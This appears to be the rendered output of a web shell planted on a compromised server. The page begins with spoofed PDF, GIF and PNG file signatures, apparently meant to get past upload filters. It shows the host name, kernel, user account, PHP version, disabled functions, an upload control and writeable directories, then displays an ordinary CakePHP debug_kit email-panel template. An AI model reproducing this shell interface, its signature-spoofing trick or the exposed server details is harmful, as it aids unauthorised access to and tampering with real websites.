%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/vendor/cakephp/debug_kit/src/Template/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/vendor/cakephp/debug_kit/src/Template/Element/mail_panel.ctp
<p class="info">
    <?= __d('debug_kit',
            'Why not test your emails interactively instead? Go to the {0}',
            $this->Html->link(__d('debug_kit', 'Email previews page'), ['controller' => 'MailPreview', 'action' => 'index'], ['target' => '_blank'])) ?>
</p>
<?php
    if (empty($emails)) {
        echo "<p>" . __d('debug_kit', 'No emails were sent during this request') . "</p>";
        return;
    }
    $url = $this->Url->build(['controller' => 'MailPreview', 'action' => 'sent', 'panel' => $panel->id, 'id' => 0]);
?>
<div style="display:flex">
    <div style="width:300px;">
        <table class="debug-table">
            <tr>
                <th><?= __d('debug_kit', 'Subject') ?></th>
            </tr>
            <?php foreach ($emails as $k => $email) : ?>
            <tr onclick="loadSentEmail(this, <?= $k ?>)" class="<?= $k == 0 ? 'highlighted' : '' ?>">
                <td style="cursor:pointer;padding:20px 10px;line-height:20px">
                    <?= "\u{2709}\u{FE0F}" ?>
                    <?= !empty($email['headers']['Subject']) ?
                        h($this->Text->truncate($email['headers']['Subject'])) :
                        '(No Subject)'
                    ?>
                </td>
            </tr>
            <?php endforeach; ?>
        </table>
    </div>
    <iframe seamless
        name="sent-email"
        src="<?= h($url) ?>"
        style="height:calc(100vh - 128px);flex:1;margin-left:20px;padding-left:10px;border-left:1px solid #ccc"
    >
    </iframe>
</div>
<script>
    function loadSentEmail(elem, index) {
        var iframe = document.getElementsByName('sent-email')[0];
        var current = iframe.contentWindow.location.href;
        newLocation = current.replace(/\/\d+$/, '/' + index);
        iframe.contentWindow.location.href = newLocation;

        $(elem).siblings().removeClass('highlighted');
        elem.className = 'highlighted';
    }
</script>

VaKeR 2022